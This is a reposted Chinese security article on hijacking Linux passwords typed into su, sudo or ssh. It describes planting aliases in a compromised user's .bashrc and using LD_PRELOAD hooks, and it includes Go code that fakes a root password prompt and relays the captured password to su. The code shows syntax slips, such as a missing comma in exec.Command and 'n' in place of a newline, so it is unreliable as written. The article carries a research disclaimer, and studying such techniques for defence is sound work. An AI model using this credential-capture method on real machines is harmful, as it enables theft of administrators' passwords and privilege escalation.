通用Linux系统密码劫持记录研究总结

admin 2024年11月20日13:04:05评论12 views字数 2473阅读8分14秒阅读模式

什么是密码劫持?

记录任何在终端中输入的密码,包括使用susudossh等命令时输入的密码。
具体原理如下:
  1. 终端拦截:作为一个中介程序插入到终端与其他程序之间。当用户在终端中输入密码时,能够捕获这些输入。
  2. 环境变量和别名
    • 通过设置环境变量或在.bashrc中添加别名可以替代常用命令(如sudo)执行,从而记录用户输入的密码。
    • 如果用户调用sudo,实际上会运行Subtty,这样Subtty可以记录后续输入。
  3. 使用LD_PRELOAD:可以作为一个共享库,利用LD_PRELOAD技术挂载到系统中。这使得它可以拦截标准库调用(如execv),在执行原程序之前,先通过Subtty处理输入,从而实现记录。
  4. 日志记录:捕获到的密码会被记录到文件中,方便后续查看。
假设我们获取了一个普通用户nick的shell,在.bashrc在添加sudo 或su的别名:
通用Linux系统密码劫持记录研究总结
管理员登入这台主机使用sudo、su命令时切换到root时,记录管理员输入的密码。
通用Linux系统密码劫持记录研究总结
下面的代码 ,创建一个伪终端(pty)来执行 su - 命令,并将用户输入的密码或命令输出分别转发到伪终端和主终端:
package main

import (
    "fmt"
    "io"
    "os"
    "os/exec"
    "golang.org/x/crypto/ssh/terminal"
    "github.com/creack/pty"
)

const maxRetries = 3

func main() {
    // 获取终端文件描述符
    fd := int(os.Stdin.Fd())

    // 设置终端为原始模式
    oldState, err := terminal.MakeRaw(fd)
    if err != nil {
        fmt.Println("Error setting terminal to raw mode:", err)
        return
    }
    defer terminal.Restore(fd, oldState) // 恢复终端状态

    for retries := 0; retries < maxRetries; retries++ {
        // 提示用户输入密码
        fmt.Print("Password for root: ")
        password, err := terminal.ReadPassword(fd)
        fmt.Println() // 打印换行,保持输出美观
        if err != nil {
            fmt.Println("Error reading password:", err)
            return
        }

        // 创建 su 命令
        cmd := exec.Command("su""-")

        // 创建伪终端
        pty, err := pty.Start(cmd)
        if err != nil {
            fmt.Println("Error starting pty:", err)
            return
        }
        defer pty.Close()

        // 将密码写入 pty
        if _, err := pty.Write(append(password, 'n')); err != nil {
            fmt.Println("Error writing password to pty:", err)
            return
        }

        // 将 pty 的输出转发到主终端
        go func() {
            _, err := io.Copy(os.Stdout, pty)
            if err != nil {
                fmt.Println("Error copying from pty to stdout:", err)
            }
        }()

        // 将主终端输入输出连接到伪终端
        go func() {
            _, err := io.Copy(pty, os.Stdin) // 将用户输入转发到 pty
            if err != nil {
                fmt.Println("Error copying from stdin to pty:", err)
            }
        }()

        // 等待命令执行完成
        if err := cmd.Wait(); err != nil {
            if retries == maxRetries-1 {
                fmt.Println("Maximum retry attempts reached. Exiting.")
                return
            }
            fmt.Println("Incorrect password. Please try again.")
            continue // 输入错误,重新提示输入密码
        }

        fmt.Println("Successfully switched to root user")
        return // 成功切换后退出循环
    }
}

原文始发于微信公众号(山石网科安全技术研究院):通用Linux系统密码劫持记录研究总结

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月20日13:04:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通用Linux系统密码劫持记录研究总结https://cn-sec.com/archives/3415022.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息